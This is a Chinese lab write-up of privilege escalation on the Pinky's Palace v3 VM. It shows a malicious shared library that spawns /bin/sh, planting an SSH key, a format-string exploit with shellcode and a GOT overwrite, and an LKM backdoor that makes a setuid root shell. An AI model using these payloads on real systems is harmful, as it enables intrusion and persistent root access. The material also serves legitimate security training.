当前位置: 首页 > news >正文

3、靶场——Pinkys-Place v3(3)

文章目录

  • 一、获取flag4
    • 1.1 关于SUID提权
    • 1.2 通过端口转发获取setuid文件
    • 1.3 运行pinksecd文件
    • 1.4 利用nm对文件进行分析
    • 1.5 构建payload
    • 1.6 Fire
  • 二、获取flag5
    • 2.1 生成ssh公钥
    • 2.2 免密登录ssh
    • 2.3 以pinksecmanagement的身份进行信息收集
    • 2.4 测试程序/usr/local/bin/PSMCCLI
    • 2.6 利用格式化字符串漏洞提权
  • 三、总结

一、获取flag4

1.1 关于SUID提权

  SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。当s这个标志出现在文件所有者的X权限上时,如/usr/bin/passwd这个文件的权限状态:-rwsr-xr-x.,此时就被称为Set UID,简称SUID。

  简单来说:假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

搜索具备SUID权限的程序

	find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

SUID-Find提权命令

find <文件> -exec whoami \; //文件必须存在

1.2 通过端口转发获取setuid文件

  发现了一个setuid文件pinkscd!注意:pinksecd文件的所有者是用户pinksecmanagement,用户pinksecmanagement对该文件具有读写和执行的权限,属于pinksecmanagement用户组的用户对该文件有读和执行的权限,其他用户只有执行的权限。

在这里插入图片描述

  使用socat进行文件传输

	socat -u open:pinksecd tcp-listen:7777,reuseaddr  // 靶机上运行,发送文件socat -u tcp:192.168.92.3:7777 open:pinksecd,create //kali上新建窗口,接收文件

-u:是指数据从左边单向传输到右边;
-U则是数据从右边单向传输到左边。
在这里插入图片描述

1.3 运行pinksecd文件

  查看pinksecd文件权限,该文件
在这里插入图片描述
  根据前面该文件是一个setuid文件,故修改文件权限,并运行。

	chmod +x pinksecd //赋予可执行权限./pinksecd //运行程序

在这里插入图片描述

发现缺少一个依赖库libpinksec.so

  使用ldd查看pinksecd的依赖库对应的文件:

	ldd pinksecd

在这里插入图片描述

libpinksec的路径是/lib/libpinksec.so

1.4 利用nm对文件进行分析

  nm是linux自带的特定文件分析工具,一般用来检查分析二进制文件、库文件、可执行文件中的符号表,返回二进制文件中各段的信息。命令:

	nm -g /lib/libpinksec.so

在这里插入图片描述

关于结果:

  • 左边的一串数字表示地址。如果是二进制文件,则表示逻辑地址,不是程序最后运行的地址。
  • 中间的字母代表当前条目位于程序哪一部分。T代表代码段数据。
  • 最后边代表对应的符号的内容。

  这里直接找_init,程序主要从这里开始运行。新建一个c文件,只要该文件中含有三个函数psbanner()、psopt()、psoptin()就可以制作payload了。

1.5 构建payload

  shell.c文件内容:

	#include <stdlib.h>int psbanner() {return system("/bin/sh");}int psopt() {return system("/bin/sh");}int psoptin() {return system("/bin/sh");}

在这里插入图片描述

编译:

	gcc -shared -o shell.o -fPIC shell.c

参数:

  • -shared代表创建动态链接库;
  • -fPIC则是生成位置无关代码,因为动态链接库可以被多个进程共享加载。
  • -o代表指定输出文件。

  关于gcc的相关信息,可以参考gcc编译命令详解及最佳实践

在这里插入图片描述

1.6 Fire

  使用payload替换/lib/libpibksec.socp shell.o /lib/libpinksec.so

在这里插入图片描述

对payload的个人理解:

  • 属于用户pinksecmanagment的文件pinksecd设置了SUID权限,用户pinksec在运行该文件的时候,将会以用户pinksecmanagment的身份去运行,也就是有效用户ID(EUID)是`pinksecmanagment。
  • 运行文件pinksecd的过程中,执行力system("/bin/sh")指令,相当于fork了一个shell,并且是以用户pinksecmanagment的身份新建的,也就是说可以进入用户pinksecmanagment的主目录/home/pinksecmanagment

知识补充:
(1)关于id命令:
id命令不含有任何参数,会报告当前用户的用户ID(uid)和用户名,所属的主要组ID(gid)和组名称、用户所有的属组(groups)和组名称。
在这里插入图片描述

(2)linux中UID,GID,EUID,EGID的快速理解

  • UID/GID指实际用户ID和实际组ID,即登录时的用户名,比如我是kali登陆,那么UID/GID 为kali/kali。
  • EUID/EGID指有效的用户ID和有效的组ID,它们指定了访问目标的权限。

例如:

  • 当前登录用户为my,welcome文件的ls -l 后的用户为my,组为mygroup,此时UID=my,GID=mygroup,EUID=my,EGID=mygroup。
  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,此时UID=my,GID=mygroup,EUID=other,EGID=othergroup。并且my用户无法访问other用户的文件。

总的来说,EUID表示的是文件所有者的用户ID,EGID表示文件所有者所属的组ID。

  如果一个文件被设置了SUID或SGID位,会分别表现在所有者或同组用户的权限的可执行位上。例如:

	-rwsr-xr-x 表示SUID和所有者权限中可执行位被设置-rwSr–-r-- 表示SUID被设置,但所有者权限中可执行位没有被设置-rwxr-sr-x 表示SGID和同组用户权限中可执行位被设置-rw-r-Sr-- 表示SGID被设置,但同组用户权限中可执行位没有被设置

  接着刚才的案例进行分析

  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为rwsr-xr-x,那么该程序同样可以被执行,此时UID=my,GID=mygroup,EUID=other,EGID=mygroup。此时welcome程序有了other的权限,当然就可以访问apps了。
  • 同理,当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为-rwxr-sr-x,那么UID=my,GID=mygroup,EUID=my,EGID=othergroup,因为同组,当然就可以执行apps文件。

请参考:

  • linux UID,GID,EUID,EGID,SUID,SGID快速理解
  • uid gid euid egid详解

  进入/home/pinksecmanagment拿到flag4!

在这里插入图片描述

二、获取flag5

在这里插入图片描述

  在刚刚提权的shell中使用backspace键,将会出现奇奇怪怪的符号,说明这个shell不稳定。根据之前的信息,靶场开了ssh服务,那么考虑免密方式登录靶机。

2.1 生成ssh公钥

  linux下,进入./.ssh目录(SSH密钥默认保存在该目录下),使用以下命令生成一对RSA公钥与密钥:

	ssh-keygen -t rsa
  • ssh-keygen语法:ssh-keygen [options]
  • -t表示要创建的密钥类型

在这里插入图片描述
在这里插入图片描述

  • id_rsa是私钥文件
  • id_rsa.pub是公钥文件

2.2 免密登录ssh

  下一步通过shell将kali的公钥写入靶机/home/pinksecmanagement/.ssh目录,文件命名为authorized_keys。这样做的目的是:公钥加密,私钥解密

免密登录原理:
在这里插入图片描述

  1. Client将自己的公钥存放在Server上,追加在文件authorized_keys中。
  2. Server端接收到Client的连接请求后,会在authorized_keys中匹配到Client的公钥pubkey,并生成随机数R,用Client的公钥对该随机数进行加密得到pubkey(R),然后将加密后信息发送给Client。
  3. Client端通过私钥进行解密得到随机数R,然后对随机数R和本次会话的SessionKey利用MD5生成摘要Digest1,发送给Server端。
  4. Server端会也会对R和SessionKey利用同样摘要算法生成Digest2。
  5. Server端会最后比较Digest1和Digest2是否相同,完成认证过程。

  进入/home/pinksecmanagement目录,mkdir .ssh新建.ssh文件夹,并进入。

在这里插入图片描述
  使用echo新建一个authorized_keys文件,将kali的公钥写入:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVhYclyR6Gr+wBz10uHSxlP6HjuklCuPuKpsKdU0Kg8+XHul3GeYWYuPmWldJfv29LXAEpMAXRgz3nzNcuJdyKciUT5rVOdAB6igaWcw9iz7IN1eEpm0vDVjpLSLHay8DIKJXYVd74Jpm4MtHpw5PsGcgDw2jnxE96XsD15vOANZu6ZSu8od7Clp+M+wVllSw0thRffIIoAhsT9jw+lS+DhnL6jw6Vq4Ud4+/lxtkJNJuiIixpuALMTu13VZl+0dLn3zBv9MqdR/f7a6ty1KepBpks/91yFLhgvIatXDLLoNacmSFfoibZbTEjbfGPnm1go8QdvbS9+nBBjGEC+iK2TQvMksrF1z1UXuWiWZaZfoR23jc6hhv9fpE8y3xGBblZPS20H03FbOpvDr4TA15QoFJbMZS0Yxg27Y4QXO/FVYr4yeeZk3dnTc0RQMPGl62H2zU17oBNrtgnGLY8tY97TG/6E2/rvI7b4NW9dBvH3PofxixK8CXNXdDSI0vFEfs= root@kali" > authorized_keys

在这里插入图片描述
在这里插入图片描述

成功免密登录!!!

ssh语法:ssh 用户名@ip地址 -p 端口

  • -i代表验证文件,就是私钥文件。
    在这里插入图片描述

2.3 以pinksecmanagement的身份进行信息收集

(1)搜索具备SUID权限的程序,常用命令如下:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
find / -user root -perm -4000 -print 2>/dev/null

补充知识:

  • find命令语法:find [path] [expression]
    • path为查找路径,.代表当前路径,/代表根目录;
    • expression为参数
    • -user root表示查找所有者为root的文件;
    • -perm -4000表示权限为SUID的文件。等价于命令-perm -u=s
    • -type f代表文件,d代表目录;
  • 2>/dev/null代表删除错误信息;
  • 使用find执行命令语法:find (路径,必须存在) -exec <command> \;(结束标志)。例如:find . -exec whoami \;
    在这里插入图片描述

当前目录下有几个文件就执行几次whoami命令。

  使用find / -perm -u=s -type f 2>/dev/null或者find / -perm -4000 -type f 2>/dev/null查找具有SUID属性的文件。

在这里插入图片描述

  特别注意/usr/local/bin/PSMCCLI文件,使用ls -al查看其文件属性。

在这里插入图片描述

发现/usr/local/bin/PSMCCLI文件属于pinksecmanagement用户组,且其文件所有者是用户pinky。也就是说用户pinky属于pinksecmanagement用户组,文件/usr/local/bin/PSMCCLI其实是属于用户pinky

2.4 测试程序/usr/local/bin/PSMCCLI

PSMCCLI程序功能:输入什么返回什么。
  可知,该文件存在格式化字符串漏洞。同时,使用file命令查看文件类型,该文件属于ELF文件。

在这里插入图片描述

  • 在linux中,经gcc编译后生成的可执行文件属于ELF文件;
  • ELF是一类文件类型,而不是特指某一后缀的文件。

  ELF(Executable and Linkable Format,可执行与可链接格式)文件格式,在Linux下主要有如下三种文件:

  • 可执行文件(.out):Executable File,包含代码和数据,是可以直接运行的程序。其代码和数据都有固定的地址 (或相对于基地址的偏移 ),系统可根据这些地址信息把程序加载到内存执行。
  • 可重定位文件(.o):Relocatable File,包含基础代码和数据,但它的代码及数据都没有指定绝对地址,因此它适合于与其他目标文件链接来创建可执行文件或者共享目标文件。
  • 共享目标文件(.so):Shared Object File,也称动态库文件,包含了代码和数据,这些数据是在链接时被链接器(ld)和运行时动态链接器(ld.so.l、libc.so.l、ld-linux.so.l)使用的。

2.6 利用格式化字符串漏洞提权

  • 目的:目前我们的用户身份是pinksecmanagement,而文件PSMCCLI的所有者是用户pinky,提权的目的就是将我们用户身份从pinksecmanagement变为用户pinky
  • 格式化字符串的利用原理:

(1)使用socat进行文件传输

socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr  // 靶机,文件发送方
socat -u tcp:192.168.92.3:9999 open:PSMCCLI,create  //kali,文件接收方

在这里插入图片描述

(2)查看二进制程序启用的安全保护

  使用checksec检查文件是否被保护,发现并没有什么保护,同时RELRO位为partial relro,说明我们对GOT表具有写权限。

在这里插入图片描述

(3)攻击思路

格式化字符串允许两个基本的攻击向量:

  • 直接内存访问:使用%x格式化字符串和位置值,可以打印或访问堆栈中的任何内存位置;
  • 写入位置的能力:使用%n格式化字符串写入任何位置,%n将到当前输出的所有数据的长度写回一个变量中去。

攻击思路:用%x定位位置,在位置中%n植入shellcode,用%hn执行。

(4)选择shellcode

shellcode网站

在这里插入图片描述

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

将shell代码放在环境变量中,利用格式字符串漏洞,将程序流重定向到环境变量的地址即可!

(5)将shellcode写入环境变量

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

在这里插入图片描述
在这里插入图片描述

可以看到变量SPAWN的值就是那段shellcode。

(6)定位环境变量SPAWN的位置

  使用以下脚本寻找变量SPAWN的位置:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(int argc, char *argv[]) {char *ptr;if(argc < 3) {printf("Usage: %s <environment variable> <target program name>\n", argv[0]);exit(0);}ptr = getenv(argv[1]); /* get env var location */ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */printf("%s will be at %p\n", argv[1], ptr);
}

编译gcc addr.c -o addr

在这里插入图片描述
  前面已经将shellcode写入环境变量SPAWN中了,现在需要寻找在执行目标二进制文件时,SPAWN所在内存位置,也就是shellcode在内存中的位置。

./addr SPAWN /usr/local/bin/PSMCCLI

在这里插入图片描述

可知,在执行目标二进制文件时,SPAWN(shellcode)所在的地址为0xbffffe81

(7)定位写入putchar的指针位置

objdump -R /usr/local/bin/PSMCCLI

在这里插入图片描述

putchars的地址为0x0804a01c

  • shellcode地址:0xbffffe81
  • putchars函数的地址:0x0804a01c
  • 需要将shellcode的地址写入putchar的指针存放位置。

(8)确定Args位置

/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")

-x可以访问内存中的数据。如果内存数据中连续出现4142,就说明可写。

在这里插入图片描述

	/usr/local/bin/PSMCCLI AAAABBBBCCC%134\$0x%135\$0x

去找具体两块块区域可写。

在这里插入图片描述

(9)找前半段地址

  现在需要访问 putchar 指针的地址(要修改的地址),即 0x0804a01c!32 位架构中的内存为 4 字节(32 位)大小。然而将使用格式字符串漏洞每次只能写两字节。所以需要把地址分成两个字节:

  • 低位地址:0x0804a01c
  • 高位地址:0x0804a01e(初始地址+2)
	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0x

在这里插入图片描述
(10)找后半段地址
  只需把$x换成$n。构造payload:

	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0n

在这里插入图片描述

(11)构造payload

  需要将值 0xbffffe7f(shellcode 地址),写入内存字节中,每个短字节(2个字节)最多只能容纳 0xffff,因此需要将值拆分为两个短字节。
shellcode 地址: 0xbffffe7f

  • 低位短字节地址: 0xfe7f = 65151
  • 高位短字节地址: 0xbfff = 49151

低二位0804a01c写入 fe80 - char_number(12) = 65142
高二位0804a01e (低二+2) 写入1bfff - fe80 = 49535[整数溢出原理 hn写入两字节,即0-65535]
小端序,低位放低地址

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65142u%134\$0hn%49534u%135\$0hn

在这里插入图片描述
(11)同样免密登录
在这里插入图片描述
在这里插入图片描述

  sudo -l查看执行sudo命令的使用者的权限,这里发现了无需密码可以执行的俩个命令 insmod rmmod,这俩个命令是操作内核的,insmod 是加载一个内核模块,rmmod 是卸载一个内核模块
在这里插入图片描述
  这里的提权方式是制作一个内核来提升权限。对内核模块的编写,可以是反弹一个root的shell,或者对一个制作的文件增加s权限修改为root用户所有等等。

  这里我选择制作一个获取sh的文件,用内核模块对其进行修改为root用户。

内核模块,修改:https://github.com/PinkP4nther/Pinkit/blob/master/pinkit.c 的反弹shell内核模块为赋权。具体内容如下:

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/stat.h>#define ML      "GPL"
#define MA      "@Pink_P4nther"
#define MD      "An LKM Backdoor"
#define MV      "1.2"static int __init mload(void)
{char *envp[] = {"HOME=/root","TERM=xterm",NULL};char *argv[] = {"/bin/bash","-c","chown root:root /tmp/shell;chmod 4777 /tmp/shell",NULL};printk(KERN_INFO "[+] Command Execution Begin\n");call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);printk(KERN_INFO "[+] Command Execution End\n");return 0;
}static void __exit munload(void)
{printk(KERN_INFO "[+] Happy Hacking!\n");
}module_init(mload);
module_exit(munload);MODULE_LICENSE(ML);
MODULE_AUTHOR(MA);
MODULE_DESCRIPTION(MD);
MODULE_VERSION(MV); 

shell文件编写

int main(void)
{setgid(0);setuid(0);execl("/bin/sh",0);
} 

Makefile文件

obj-m +=sroot.oall:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

  准备内容sroot.c内核模块shell.c获取shell的代码,Makefile编译内核模块的文件。
在这里插入图片描述

  使用make命令编译sroot.c,gcc命令编译shell.c,sudo insmod sroot.ko装载内核模块。且将shell放到/tmp/下。

在这里插入图片描述
  在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!
在这里插入图片描述

三、总结

在这里插入图片描述

相关文章:

3、靶场——Pinkys-Place v3(3)

文章目录 一、获取flag41.1 关于SUID提权1.2 通过端口转发获取setuid文件1.3 运行pinksecd文件1.4 利用nm对文件进行分析1.5 构建payload1.6 Fire 二、获取flag52.1 生成ssh公钥2.2 免密登录ssh2.3 以pinksecmanagement的身份进行信息收集2.4 测试程序/usr/local/bin/PSMCCLI2.…...

什么是 AirServer?Mac专用投屏工具AirServer 7 .27 for Mac中文破解版百度网盘下载

AirServer 7 .27 for Mac中文免费激活版是一款Mac专用投屏工具&#xff0c;能够通过本地网络将音频、照片、视频以及支持AirPlay功能的第三方App&#xff0c;从 iOS 设备无线传送到 Mac 电脑的屏幕上&#xff0c;把Mac变成一个AirPlay终端的实用工具。 目前最新的AirServer 7.2…...

MapStruct介绍以及VO、DTO、PO、DO的区别

文章目录 一.基本概念1.1VO**&#xff08;Value Object&#xff09;值对象**1.2DTO**&#xff08;Data Transfer Object&#xff09;数据传输对象**1.3 PO**&#xff08;Persistant Object&#xff09;持久对象**等同于Entity&#xff0c;这俩概念是一致的 或DO1.4 **BO&#x…...

记一次hyperf框架封装swoole自定义进程

背景 公司准备引入swoole和rabbitmq来处理公司业务。因此&#xff0c;我引入hyperf框架&#xff0c;想用swoole的多进程来实现。 自定义启动服务封装 <?php /*** 进程启动服务【manager】*/ declare(strict_types1);namespace App\Command;use Swoole; use Swoole\Proce…...

多输入多输出 | MATLAB实现GA-BP遗传算法优化BP神经网络多输入多输出

多输入多输出 | MATLAB实现GA-BP遗传算法优化BP神经网络多输入多输出 目录 多输入多输出 | MATLAB实现GA-BP遗传算法优化BP神经网络多输入多输出预测效果基本介绍程序设计往期精彩参考资料 预测效果 基本介绍 多输入多输出 | MATLAB实现GA-BP遗传算法优化BP神经网络多输入多输出…...

李宏毅机器学习笔记-transformer

transformer是什么呢&#xff1f;是一个seq2seq的model。具体应用如上图所示&#xff0c;输入和输出的序列长度不固定&#xff0c;由model自己决定。 语音翻译指的是&#xff0c;直接输入一段语音信号&#xff0c;例如英文&#xff0c;输出的直接是翻译之后的中文。 seq2seq如…...

基于Java的酒店管理系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…...

Go语言的单元测试与基准测试详解

文章目录 单元测试基准测试 单元测试 以一个加法函数为例&#xff0c;对其进行单元测试。 首先编写add.go文件&#xff1a; //add.go package mainfunc add(a, b int) int {return a b }其次编写add_test.go文件&#xff0c;在go语言中&#xff0c;测试文件均已_test结尾&a…...

【多态】为什么析构函数的名称统一处理为destructor?

析构函数的名称统一处理为destructor的目的是为了解决析构函数的重写。 而这又引出了一个问题&#xff1a;为什么要进行析构函数的重写&#xff1f; 是为了下面这种情况&#xff1a; class Person { public:~Person() { cout << "~Person" << endl; } }…...

6.4 Case Studies - A Simple Logging Archive Class

下面这段内容介绍了一个示例&#xff0c;目的是帮助澄清"归档概念&#xff08;Archive Concept&#xff09;"的用法&#xff0c;以便用户可以实现自己的归档类。simple_log_archive.hpp 实现了一个简单但实用的归档类&#xff0c;用于将任何可序列化类型以可读的格式…...

【深度学习实验】前馈神经网络(九):整合训练、评估、预测过程(Runner)

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 三、实验内容 0. 导入必要的工具包 1. __init__(初始化) 2. train(训练) 3. evaluate(评估) 4. predict(预测) 5. save_model 6. load_model 7. 代码整合 一、实验介绍 二、实验环境 本系列实验使用…...

002-第一代硬件系统架构确立及产品选型

第一代硬件系统架构确立及产品选型 文章目录 第一代硬件系统架构确立及产品选型项目介绍摘要硬件架构硬件结构选型及设计单片机选型上位机选型扯点别的 关键字&#xff1a; Qt、 Qml、 信号采集机、 数据处理、 上位机 项目介绍 欢迎来到我们的 QML & C 项目&#xff…...

Go基础语法:指针和make和new

8 指针、make、new 8.1 指针&#xff08;pointer&#xff09; Go 语言中没有指针操作&#xff0c;只需要记住两个符号即可&#xff1a; & 取内存地址* 根据地址取值 package mainimport "fmt"func main() {a : 18// 获取 a 的地址值并复制给 pp : &a// …...

039_小驰私房菜_Camera perfermance debug

全网最具价值的Android Camera开发学习系列资料~ 作者:8年Android Camera开发,从Camera app一直做到Hal和驱动~ 欢迎订阅,相信能扩展你的知识面,提升个人能力~ 一、抓取trace 1. adb shell "echo vendor.debug.trace.perf=1 >> /system/build.prop" 2. …...

Caché for Windows安装及配置

本文介绍在Windows上安装Cach的操作步骤。本文假设用户熟悉Windows目录结构、实用程序和命令。本文包含如下主要部分:​​​​​​ 1)Cach安装...

代码随想录算法训练营20期|第四十六天|动态规划part08|● 139.单词拆分 ● 关于多重背包,你该了解这些! ● 背包问题总结篇!

139.单词拆分 感觉这个板块要重新刷&#xff0c;完全没有印象 class Solution {public boolean wordBreak(String s, List<String> wordDict) {Set<String> set new HashSet<>(wordDict);boolean[] dp new boolean[s.length() 1];dp[0] true;for (int i…...

系统安装(一)CentOS 7 本地安装

CentOS与Ubuntu并称为Linux最著名的两个发行版&#xff0c;但由于笔者主要从事深度学习图像算法工作&#xff0c;Ubuntu作为谷歌和多数依赖库的亲儿子占据着最高生态位。但最近接手的一个项目里&#xff0c;甲方指定需要在CentOS7上运行项目代码&#xff0c;笔者被迫小小cos了一…...

obsidian使用指南

插入代码块快捷键设置 插入代码块 用英文搜索快捷键名字 英文搜索的【Insert code block】对应的是 (6个点) 中文搜索的【代码块】对应的是 &#xff08;2个点&#xff09; 查看word、excel等非md文件设置 电脑端obsidian->设置->文件与链接->检测所有类型文件->…...

【ardunio】青少年机器人四级实操代码(2023年9月)

目录 一、题目 二、示意图 三、流程图 四、硬件连接 1、舵机 2、超声波 3、LED灯 五、程序 一、题目 实操考题(共1题&#xff0c;共100分) 1. 主题&#xff1a; 迎宾机器人 器件&#xff1a;Atmega328P主控板1块&#xff0c;舵机1个&#xff0c;超声波传感器1个&…...

MYSQL的存储过程

存储过程 存储过程是事先经过编译并存储在数据库中的一段 SQL 语句的集合&#xff0c;调用存储过程可以简化应用开发人员的很多工作&#xff0c;减少数据在数据库和应用服务器之间的传输&#xff0c;对于提高数据处理的效率是有好处的。存储过程思想上很简单&#xff0c;就是…...

[kubernetes/docker] failed to resolve reference ...:latest: not found

问题描述: pod一直pending, kubectl describe pod ... 显示: Warning Failed 9s (x3 over 63s) kubelet Failed to pull image "mathemagics/my-kube-scheduler": rpc error: code NotFound desc failed to pull and unpack image "docker…...

彻底解决win11系统0x80070032

经过各种尝试&#xff0c;终于找到原因。第一个是电脑加密软件&#xff0c;第二个是需要的部分功能没有开启&#xff0c;第三个BIOS设置。个人觉得第三个不重要。 解决方法 笔记本型号 笔记本型号是Thinkpad T14 gen2。进入BIOS的按键是按住Enter键。 1、关闭山丽防水墙服务…...

解决因为修改SELINUX配置文件出错导致Faild to load SELinux poilcy无法进入CentOS7系统的问题

一、问题 最近学习Kubernetes&#xff0c;需要设置永久关闭SELINUX,结果修改错了一个SELINUX配置参数&#xff0c;关机重新启动后导致无法进入CentOS7系统&#xff0c;卡在启动进度条界面。 二、解决 多次重启后&#xff0c;在启动日志中发现 Faild to load SELinux poilcy…...

flask中的跨域处理-方法二不使用第三方库

方法1(第三方库) pip install flask-cors from flask import Flask from flask_cors import CORSapp = Flask(__name__) CORS(app, resources={r"/api/*": {"origins": ["http://localhost:63342", "http://localhost:63345"]}})方…...

矿山定位系统-矿井人员定位系统在矿山自动化安全监控过程中的应用

一&#xff0c;矿井人员定位系统现阶段使用的必要性 1&#xff0c;煤矿开采是一项非常特殊的工作&#xff0c;现场属于非常复杂多变的环境&#xff0c;井下信号极差&#xff0c;数据传输非常不稳定&#xff0c;人员安全难以保证&#xff0c;煤矿企业一直在研究如何使用更合适的…...

JS-ECharts-前端图表 多层级联合饼图、柱状堆叠图、柱/线组合图、趋势图、自定义中线、平均线、气泡备注点

本篇博客背景为JavaScript。在ECharts在线编码快速上手&#xff0c;绘制相关前端可视化图表。 ECharts官网&#xff1a;https://echarts.apache.org/zh/index.html 其他的一些推荐&#xff1a; AntV&#xff1a;https://antv.vision/zh chartcube&#xff1a;https://chartcub…...

【eslint】屏蔽语言提醒

在 JavaScript 中&#xff0c;ESLint 是一种常用的静态代码分析工具&#xff0c;它用于检测和提醒代码中的潜在问题和风格问题。有时候&#xff0c;在某些特定情况下&#xff0c;你可能希望临时屏蔽或禁用某些 ESLint 的提醒信息&#xff0c;以便消除不必要的警告或避免不符合项…...

【python】入门第一课:了解基本语法(数据类型)

目录 一、介绍 1、什么是python&#xff1f; 2、python的几个特点 二、实例 1、注释 2、数据类型 2.1、字符串 str 2.2、整数 int 2.3、浮点数 float 2.4、布尔 bool 2.5、列表 list 2.6、元组 tuple 2.7、集合 set 2.8、字典 dict 一、介绍 1、什么是python&…...

csa从初阶到大牛(练习题2-查询)

新建2个文件d1.txt d2.txt ,使用vim打开d1.txt 输入“Hello World”字符串,将b1.txt 硬链接到b2.txt &#xff0c;查看2个文件的硬连接数 # 新建文件d1.txt和d2.txt touch d1.txt d2.txt# 使用vim编辑d1.txt并输入文本"Hello World" vim d1.txt# 创建硬链接b2.…...

【视觉SLAM入门】8. 回环检测,词袋模型,字典,感知,召回,机器学习

"见人细过 掩匿盖覆” 1. 意义2. 做法2.1 词袋模型和字典2.1.2 感知偏差和感知变异2.1.2 词袋2.1.3 字典 2.2 匹配(相似度)计算 3. 提升 前言&#xff1a; 前端提取数据&#xff0c;后端优化数据&#xff0c;但误差会累计&#xff0c;需要回环检测构建全局一致的地图&…...